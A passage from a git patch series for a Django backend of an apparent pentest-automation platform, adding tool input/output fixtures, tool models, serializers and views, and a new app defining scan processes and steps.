3, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 5, + "fields": { + "argument": 3, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 6, + "fields": { + "argument": 4, + "type": 9, + "filter": "endpoint", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 7, + "fields": { + "argument": 5, + "type": 2, + "filter": "domain", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 8, + "fields": { + "argument": 6, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 9, + "fields": { + "argument": 6, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 10, + "fields": { + "argument": 7, + "type": 3, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 11, + "fields": { + "argument": 7, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 12, + "fields": { + "argument": 8, + "type": 3, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 13, + "fields": { + "argument": 8, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 14, + "fields": { + "argument": 9, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 15, + "fields": { + "argument": 9, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 16, + "fields": { + "argument": 10, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 17, + "fields": { + "argument": 10, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 18, + "fields": { + "argument": 11, + "type": 5, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 19, + "fields": { + "argument": 12, + "type": 6, + "filter": "cve", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 20, + "fields": { + "argument": 13, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 21, + "fields": { + "argument": 13, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 22, + "fields": { + "argument": 14, + "type": 2, + "filter": "domain", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 23, + "fields": { + "argument": 15, + "type": 2, + "filter": "domain", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 24, + "fields": { + "argument": 16, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 25, + "fields": { + "argument": 16, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 26, + "fields": { + "argument": 17, + "type": 3, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 27, + "fields": { + "argument": 17, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 28, + "fields": { + "argument": 18, + "type": 3, + "filter": "ssh", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 29, + "fields": { + "argument": 18, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 30, + "fields": { + "argument": 19, + "type": 3, + "filter": "ssh", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 31, + "fields": { + "argument": 20, + "type": 3, + "filter": "microsoft-ds", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 32, + "fields": { + "argument": 20, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 33, + "fields": { + "argument": 21, + "type": 3, + "filter": "microsoft-ds", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 34, + "fields": { + "argument": 22, + "type": 10, + "filter": "!cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 35, + "fields": { + "argument": 23, + "type": 10, + "filter": "cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 36, + "fields": { + "argument": 24, + "type": 10, + "filter": "cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 37, + "fields": { + "argument": 25, + "type": 10, + "filter": "basic", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 38, + "fields": { + "argument": 26, + "type": 10, + "filter": "basic", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 39, + "fields": { + "argument": 27, + "type": 10, + "filter": "cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 40, + "fields": { + "argument": 28, + "type": 10, + "filter": "!cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 41, + "fields": { + "argument": 29, + "type": 10, + "filter": "cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 42, + "fields": { + "argument": 30, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 43, + "fields": { + "argument": 30, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 44, + "fields": { + "argument": 31, + "type": 10, + "filter": "!cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 45, + "fields": { + "argument": 32, + "type": 10, + "filter": "cookie", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 46, + "fields": { + "argument": 33, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 47, + "fields": { + "argument": 33, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 48, + "fields": { + "argument": 34, + "type": 2, + "filter": "domain", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 49, + "fields": { + "argument": 35, + "type": 2, + "filter": "domain", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 50, + "fields": { + "argument": 36, + "type": 3, + "filter": "http", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 51, + "fields": { + "argument": 36, + "type": 2, + "filter": "!ip_range,network", + "order": 2 + } + }, + { + "model": "tools.input", + "pk": 52, + "fields": { + "argument": 37, + "type": 9, + "filter": "subdomain", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 53, + "fields": { + "argument": 38, + "type": 9, + "filter": "endpoint", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 54, + "fields": { + "argument": 39, + "type": 10, + "filter": "basic", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 55, + "fields": { + "argument": 40, + "type": 10, + "filter": "!cookie,basic", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 56, + "fields": { + "argument": 41, + "type": 10, + "filter": "cookie", + "order": 1 + } + } +] \ No newline at end of file diff --git a/src/backend/tools/fixtures/6_outputs.json b/src/backend/tools/fixtures/6_outputs.json new file mode 100644 index 000000000..3008002af --- /dev/null +++ b/src/backend/tools/fixtures/6_outputs.json @@ -0,0 +1,770 @@ +[ + { + "model": "tools.output", + "pk": 1, + "fields": { + "configuration": 1, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 2, + "fields": { + "configuration": 1, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 3, + "fields": { + "configuration": 2, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 4, + "fields": { + "configuration": 2, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 5, + "fields": { + "configuration": 3, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 6, + "fields": { + "configuration": 3, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 7, + "fields": { + "configuration": 3, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 8, + "fields": { + "configuration": 4, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 9, + "fields": { + "configuration": 4, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 10, + "fields": { + "configuration": 4, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 11, + "fields": { + "configuration": 5, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 12, + "fields": { + "configuration": 5, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 13, + "fields": { + "configuration": 6, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 14, + "fields": { + "configuration": 6, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 15, + "fields": { + "configuration": 6, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 16, + "fields": { + "configuration": 7, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 17, + "fields": { + "configuration": 7, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 18, + "fields": { + "configuration": 8, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 19, + "fields": { + "configuration": 8, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 20, + "fields": { + "configuration": 9, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 21, + "fields": { + "configuration": 9, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 22, + "fields": { + "configuration": 9, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 23, + "fields": { + "configuration": 10, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 24, + "fields": { + "configuration": 10, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 25, + "fields": { + "configuration": 10, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 26, + "fields": { + "configuration": 11, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 27, + "fields": { + "configuration": 11, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 28, + "fields": { + "configuration": 12, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 29, + "fields": { + "configuration": 12, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 30, + "fields": { + "configuration": 12, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 31, + "fields": { + "configuration": 13, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 32, + "fields": { + "configuration": 13, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 33, + "fields": { + "configuration": 13, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 34, + "fields": { + "configuration": 13, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 35, + "fields": { + "configuration": 14, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 36, + "fields": { + "configuration": 14, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 37, + "fields": { + "configuration": 14, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 38, + "fields": { + "configuration": 14, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 39, + "fields": { + "configuration": 15, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 40, + "fields": { + "configuration": 16, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 41, + "fields": { + "configuration": 17, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 42, + "fields": { + "configuration": 18, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 43, + "fields": { + "configuration": 19, + "type": 1 + } + }, + { + "model": "tools.output", + "pk": 44, + "fields": { + "configuration": 20, + "type": 1 + } + }, + { + "model": "tools.output", + "pk": 45, + "fields": { + "configuration": 21, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 46, + "fields": { + "configuration": 21, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 47, + "fields": { + "configuration": 22, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 48, + "fields": { + "configuration": 22, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 49, + "fields": { + "configuration": 23, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 50, + "fields": { + "configuration": 23, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 51, + "fields": { + "configuration": 24, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 52, + "fields": { + "configuration": 24, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 53, + "fields": { + "configuration": 24, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 54, + "fields": { + "configuration": 24, + "type": 7 + } + }, + { + "model": "tools.output", + "pk": 55, + "fields": { + "configuration": 25, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 56, + "fields": { + "configuration": 25, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 57, + "fields": { + "configuration": 26, + "type": 9 + } + }, + { + "model": "tools.output", + "pk": 58, + "fields": { + "configuration": 27, + "type": 9 + } + }, + { + "model": "tools.output", + "pk": 59, + "fields": { + "configuration": 28, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 60, + "fields": { + "configuration": 29, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 61, + "fields": { + "configuration": 30, + "type": 1 + } + }, + { + "model": "tools.output", + "pk": 62, + "fields": { + "configuration": 31, + "type": 1 + } + }, + { + "model": "tools.output", + "pk": 63, + "fields": { + "configuration": 32, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 64, + "fields": { + "configuration": 32, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 65, + "fields": { + "configuration": 32, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 66, + "fields": { + "configuration": 32, + "type": 8 + } + }, + { + "model": "tools.output", + "pk": 67, + "fields": { + "configuration": 33, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 68, + "fields": { + "configuration": 33, + "type": 7 + } + }, + { + "model": "tools.output", + "pk": 69, + "fields": { + "configuration": 34, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 70, + "fields": { + "configuration": 34, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 71, + "fields": { + "configuration": 35, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 72, + "fields": { + "configuration": 36, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 73, + "fields": { + "configuration": 37, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 74, + "fields": { + "configuration": 37, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 75, + "fields": { + "configuration": 37, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 76, + "fields": { + "configuration": 37, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 77, + "fields": { + "configuration": 37, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 78, + "fields": { + "configuration": 37, + "type": 7 + } + }, + { + "model": "tools.output", + "pk": 79, + "fields": { + "configuration": 38, + "type": 2 + } + }, + { + "model": "tools.output", + "pk": 80, + "fields": { + "configuration": 38, + "type": 3 + } + }, + { + "model": "tools.output", + "pk": 81, + "fields": { + "configuration": 38, + "type": 4 + } + }, + { + "model": "tools.output", + "pk": 82, + "fields": { + "configuration": 38, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 83, + "fields": { + "configuration": 38, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 84, + "fields": { + "configuration": 38, + "type": 7 + } + }, + { + "model": "tools.output", + "pk": 85, + "fields": { + "configuration": 39, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 86, + "fields": { + "configuration": 39, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 87, + "fields": { + "configuration": 40, + "type": 5 + } + }, + { + "model": "tools.output", + "pk": 88, + "fields": { + "configuration": 40, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 89, + "fields": { + "configuration": 41, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 90, + "fields": { + "configuration": 42, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 91, + "fields": { + "configuration": 43, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 92, + "fields": { + "configuration": 44, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 93, + "fields": { + "configuration": 45, + "type": 6 + } + }, + { + "model": "tools.output", + "pk": 94, + "fields": { + "configuration": 46, + "type": 1 + } + }, + { + "model": "tools.output", + "pk": 95, + "fields": { + "configuration": 47, + "type": 1 + } + }, + { + "model": "tools.output", + "pk": 96, + "fields": { + "configuration": 48, + "type": 4 + } + } +] \ No newline at end of file diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py new file mode 100644 index 000000000..8fc17b5cc --- /dev/null +++ b/src/backend/tools/models.py @@ -0,0 +1,153 @@ +import importlib +from typing import Any + +from django.db import models +from framework.models import BaseLike, BaseModel +from input_types.models import InputType +from tools.enums import Intensity as IntensityEnum +from tools.enums import Stage + +# Create your models here. + + +class Tool(BaseLike): + name = models.TextField(max_length=30, unique=True) + command = models.TextField(max_length=30) + version = models.TextField(max_length=100, blank=True, null=True) + version_argument = models.TextField(max_length=30, blank=True, null=True) + output_format = models.TextField(max_length=5, blank=True, null=True) + reference = models.TextField(max_length=250, blank=True, null=True) + icon = models.TextField(max_length=250, blank=True, null=True) + + # TODO: replace typing by BaseParser + def get_parser_class(self) -> Any: + try: + # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import + tools_module = importlib.import_module( + f'tools.tools.{self.name.lower().replace(" ", "_")}' + ) + # Get tool class + tool_class = getattr( + tools_module, + self.name[0] + self.name[1:].replace(" ", ""), + ) + except (AttributeError, ModuleNotFoundError): # Error during import + tools_module = importlib.import_module("tools.parsers.base") + tool_class = getattr(tools_module, "BaseParser") + return tool_class + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return self.name + + +class Intensity(BaseModel): + tool = models.ForeignKey(Tool, related_name="intensities", on_delete=models.CASCADE) + argument = models.TextField(max_length=50, default="", blank=True) + value = models.IntegerField( + choices=IntensityEnum.choices, default=IntensityEnum.NORMAL + ) + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.tool.name} - {IntensityEnum(self.value).name}" + + +class Configuration(BaseModel): + name = models.TextField(max_length=30) + tool = models.ForeignKey( + Tool, related_name="configurations", on_delete=models.CASCADE + ) + arguments = models.TextField(max_length=250, default="", blank=True) + stage = models.IntegerField(choices=Stage.choices) + default = models.BooleanField(default=False) + + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["tool", "name"], name="unique_configuration" + ) + ] + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.tool.name} - {self.name}" + + +class Argument(BaseModel): + tool = models.ForeignKey(Tool, related_name="arguments", on_delete=models.CASCADE) + name = models.TextField(max_length=20) + argument = models.TextField(max_length=50, default="", blank=True) + required = models.BooleanField(default=False) + multiple = models.BooleanField(default=False) # Accepts multiple BaseInputs or not + + class Meta: + constraints = [ + models.UniqueConstraint(fields=["tool", "name"], name="unique_argument") + ] + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.tool.__str__()} - {self.name}" + + +class Input(models.Model): + argument = models.ForeignKey( + Argument, related_name="inputs", on_delete=models.CASCADE + ) + type = models.ForeignKey(InputType, related_name="inputs", on_delete=models.CASCADE) + filter = models.TextField(max_length=250, blank=True, null=True) + order = models.IntegerField(default=1) + + class Meta: + constraints = [ + models.UniqueConstraint(fields=["argument", "order"], name="unique_input") + ] + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.argument.__str__()} - {self.type.__str__()}" + + +class Output(models.Model): + configuration = models.ForeignKey( + Configuration, related_name="outputs", on_delete=models.CASCADE + ) + type = models.ForeignKey( + InputType, related_name="outputs", on_delete=models.CASCADE + ) + + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["configuration", "type"], name="unique_output" + ) + ] + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.configuration.__str__()} - {self.type.__str__()}" diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py new file mode 100644 index 000000000..ec5dabb7a --- /dev/null +++ b/src/backend/tools/serializers.py @@ -0,0 +1,96 @@ +from typing import List + +from framework.fields import IntegerChoicesField +from framework.serializers import LikeSerializer +from input_types.serializers import InputTypeSerializer +from rest_framework.serializers import ModelSerializer +from tools.enums import Intensity as IntensityEnum +from tools.enums import Stage +from tools.fields import StageField +from tools.models import Argument, Configuration, Input, Intensity, Output, Tool + + +class InputSerializer(ModelSerializer): + type = InputTypeSerializer(many=False, read_only=True) + + class Meta: + model = Input + fields = ("id", "type", "filter", "order") + + +class OutputSerializer(ModelSerializer): + type = InputTypeSerializer(many=False, read_only=True) + + class Meta: + model = Output + fields = ( + "id", + "type", + ) + + +class ConfigurationSerializer(ModelSerializer): + stage = StageField(model=Stage) + outputs = OutputSerializer(many=True) + + class Meta: + model = Configuration + fields = ("id", "name", "tool", "arguments", "stage", "default", "outputs") + + +class IntensitySerializer(ModelSerializer): + value = IntegerChoicesField(model=IntensityEnum) + + class Meta: + model = Intensity + fields = ("id", "argument", "value") + + +class ArgumentSerializer(ModelSerializer): + inputs = InputSerializer(many=True) + + class Meta: + model = Argument + fields = ( + "id", + "name", + "argument", + "required", + "multiple", + "inputs", + ) + + +class ToolSerializer(LikeSerializer): + intensities = IntensitySerializer(many=True) + configurations = ConfigurationSerializer(many=True) + arguments = ArgumentSerializer(many=True) + + class Meta: + model = Tool + fields = ( + "id", + "name", + "command", + "version", + "reference", + "icon", + "liked", + "likes", + "intensities", + "configurations", + "arguments", + ) + + +class SimpleToolSerializer(ModelSerializer): + class Meta: + model = Tool + fields = ( + "id", + "name", + "command", + "version", + "reference", + "icon", + ) diff --git a/src/backend/tools/urls.py b/src/backend/tools/urls.py new file mode 100644 index 000000000..c055343fe --- /dev/null +++ b/src/backend/tools/urls.py @@ -0,0 +1,10 @@ +from rest_framework.routers import SimpleRouter +from tools.views import ConfigurationViewSet, ToolViewSet + +# Register your views here. + +router = SimpleRouter() +router.register('tools', ToolViewSet) +router.register('configurations', ConfigurationViewSet) + +urlpatterns = router.urls diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py new file mode 100644 index 000000000..0fcef4149 --- /dev/null +++ b/src/backend/tools/views.py @@ -0,0 +1,27 @@ +from framework.views import BaseViewSet, LikeViewSet +from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated +from security.authorization.permissions import IsAuditor +from tools.filters import ConfigurationFilter, ToolFilter +from tools.models import Configuration, Tool +from tools.serializers import ConfigurationSerializer, ToolSerializer + +# Create your views here. + + +class ToolViewSet(LikeViewSet): + queryset = Tool.objects.all() + serializer_class = ToolSerializer + filterset_class = ToolFilter + search_fields = ["name", "command"] + ordering_fields = ["id", "name", "command"] + http_method_names = ["get"] + + +class ConfigurationViewSet(BaseViewSet): + """Configuration ViewSet that includes: get and retrieve features.""" + + queryset = Configuration.objects.all() + serializer_class = ConfigurationSerializer + filterset_class = ConfigurationFilter + search_fields = ["name"] + http_method_names = ["get"] diff --git a/src/backend/users/views.py b/src/backend/users/views.py index 17c035f9a..448399656 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -197,9 +197,7 @@ class ResetPasswordViewSet(GenericViewSet): """User ViewSet that includes reset password feature.""" queryset = User.objects.all() - # No class required because all users can reset his password - # This operation can be performed from an user session or not - permission_classes: List[BasePermission] = [] + permission_classes = [IsNotAuthenticated] def _create_or_update( self, request: Request, serializer_class: Serializer diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index 367985d1c..f57babf6a 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -8,7 +8,7 @@ from wordlists.models import Wordlist -class WordlistSerializer(ModelSerializer, LikeSerializer): +class WordlistSerializer(LikeSerializer): """Serializer to manage wordlists via API.""" # Wordlist file, to allow the wordlist files upload to the server diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index 778947ee3..d5b5cf54a 100644 --- a/src/backend/wordlists/views.py +++ b/src/backend/wordlists/views.py @@ -1,6 +1,5 @@ # from api.views import CreateWithUserViewSet -from framework.views import BaseViewSet, LikeViewSet -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated +from framework.views import LikeViewSet from rest_framework.serializers import Serializer from wordlists.filters import WordlistFilter from wordlists.models import Wordlist @@ -9,7 +8,7 @@ # Create your views here. -class WordlistViewSet(BaseViewSet, LikeViewSet): +class WordlistViewSet(LikeViewSet): """Wordlist ViewSet that includes: get, retrieve, create, update, delete, like and dislike features.""" queryset = Wordlist.objects.all() From 7ec559b827def0e8dd08c1767fe217009e111d7d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 11 Sep 2023 10:25:14 +0200 Subject: [PATCH 013/141] Add process and step models --- src/backend/processes/__init__.py | 0 src/backend/processes/admin.py | 7 + src/backend/processes/apps.py | 35 ++ src/backend/processes/filters.py | 37 ++ .../processes/fixtures/1_processes.json | 58 ++ src/backend/processes/fixtures/2_steps.json | 578 ++++++++++++++++++ src/backend/processes/models.py | 53 ++ src/backend/processes/serializers.py | 62 ++ src/backend/processes/urls.py | 10 + src/backend/processes/views.py | 38 ++ src/backend/rekono/settings.py | 1 + src/backend/rekono/urls.py | 1 + src/backend/tools/serializers.py | 24 +- 13 files changed, 894 insertions(+), 10 deletions(-) create mode 100644 src/backend/processes/__init__.py create mode 100644 src/backend/processes/admin.py create mode 100644 src/backend/processes/apps.py create mode 100644 src/backend/processes/filters.py create mode 100644 src/backend/processes/fixtures/1_processes.json create mode 100644 src/backend/processes/fixtures/2_steps.json create mode 100644 src/backend/processes/models.py create mode 100644 src/backend/processes/serializers.py create mode 100644 src/backend/processes/urls.py create mode 100644 src/backend/processes/views.py diff --git a/src/backend/processes/__init__.py b/src/backend/processes/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/processes/admin.py b/src/backend/processes/admin.py new file mode 100644 index 000000000..cad120686 --- /dev/null +++ b/src/backend/processes/admin.py @@ -0,0 +1,7 @@ +from django.contrib import admin +from processes.models import Process, Step + +# Register your models here. + +admin.site.register(Process) +admin.site.register(Step) diff --git a/src/backend/processes/apps.py b/src/backend/processes/apps.py new file mode 100644 index 000000000..186e475c3 --- /dev/null +++ b/src/backend/processes/apps.py @@ -0,0 +1,35 @@ +import os +from pathlib import Path +from typing import Any + +from django.apps import AppConfig +from django.core import management +from django.core.management.commands import loaddata +from django.db.models.signals import post_migrate + + +class ProcessesConfig(AppConfig): + """Processes Django application.""" + + name = "processes" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self.load_processes_models, sender=self) + + def load_processes_models(self, **kwargs: Any) -> None: + """Load processes fixtures in database.""" + from processes.models import Process, Step + + if Process.objects.exists() or Step.objects.exists(): + return + # Path to fixtures directory + path = os.path.join( + Path(__file__).resolve().parent.parent, "processes", "fixtures" + ) + management.call_command( + loaddata.Command(), + os.path.join(path, "1_processes.json"), + os.path.join(path, "2_steps.json"), + ) diff --git a/src/backend/processes/filters.py b/src/backend/processes/filters.py new file mode 100644 index 000000000..e959552e6 --- /dev/null +++ b/src/backend/processes/filters.py @@ -0,0 +1,37 @@ +from django_filters.rest_framework import FilterSet +from framework.filters import LikeFilter +from processes.models import Process, Step + + +class ProcessFilter(LikeFilter): + class Meta: + model = Process + fields = { + "name": ["exact", "icontains"], + "description": ["exact", "icontains"], + "owner": ["exact"], + "owner__username": ["exact", "icontains"], + "steps__configuration": ["exact"], + "steps__configuration__name": ["exact", "icontains"], + "steps__configuration__stage": ["exact"], + "steps__configuration__tool": ["exact"], + "steps__configuration__tool__name": ["exact", "icontains"], + "tags__name": ["in"], + } + + +class StepFilter(FilterSet): + class Meta: + model = Step + fields = { + "process": ["exact"], + "process__name": ["exact", "icontains"], + "process__description": ["exact", "icontains"], + "process__owner": ["exact"], + "process__tags__name": ["in"], + "configuration": ["exact"], + "configuration__name": ["exact", "icontains"], + "configuration__stage": ["exact"], + "configuration__tool": ["exact"], + "configuration__tool__name": ["exact", "icontains"], + } diff --git a/src/backend/processes/fixtures/1_processes.json b/src/backend/processes/fixtures/1_processes.json new file mode 100644 index 000000000..0104da095 --- /dev/null +++ b/src/backend/processes/fixtures/1_processes.json @@ -0,0 +1,58 @@ +[ + { + "model": "processes.process", + "pk": 1, + "fields": { + "name": "All tools", + "description": "Run all tools with the most relevant configurations. This process covers all the pentesting stages from OSINT to exploits finding." + } + }, + { + "model": "processes.process", + "pk": 2, + "fields": { + "name": "HTTP Analysis", + "description": "Analysis of HTTP services after port enumeration. Search for endpoints, TLS vulnerabilities, CMS information, Log4Shell, etc." + } + }, + { + "model": "processes.process", + "pk": 3, + "fields": { + "name": "FTP Analysis", + "description": "Analysis of FTP services using nmap with NSE scripts." + } + }, + { + "model": "processes.process", + "pk": 4, + "fields": { + "name": "SSH Analysis", + "description": "Analysis of SSH services after port enumeration, using ssh-audit." + } + }, + { + "model": "processes.process", + "pk": 5, + "fields": { + "name": "SMB Analysis", + "description": "Analysis of SMB services using nmap with NSE scripts and smbmap." + } + }, + { + "model": "processes.process", + "pk": 6, + "fields": { + "name": "OSINT", + "description": "Run OSINT tools to gather publicly available information." + } + }, + { + "model": "processes.process", + "pk": 7, + "fields": { + "name": "Active Analysis", + "description": "Run all active tools with the most relevant configurations. This process covers all active pentesting stages from enumeration to exploits finding." + } + } +] \ No newline at end of file diff --git a/src/backend/processes/fixtures/2_steps.json b/src/backend/processes/fixtures/2_steps.json new file mode 100644 index 000000000..a44e17781 --- /dev/null +++ b/src/backend/processes/fixtures/2_steps.json @@ -0,0 +1,578 @@ +[ + { + "model": "processes.step", + "pk": 1, + "fields": { + "process": 1, + "configuration": 19 + } + }, + { + "model": "processes.step", + "pk": 2, + "fields": { + "process": 1, + "configuration": 30 + } + }, + { + "model": "processes.step", + "pk": 3, + "fields": { + "process": 1, + "configuration": 31 + } + }, + { + "model": "processes.step", + "pk": 4, + "fields": { + "process": 1, + "configuration": 38 + } + }, + { + "model": "processes.step", + "pk": 5, + "fields": { + "process": 1, + "configuration": 15 + } + }, + { + "model": "processes.step", + "pk": 6, + "fields": { + "process": 1, + "configuration": 21 + } + }, + { + "model": 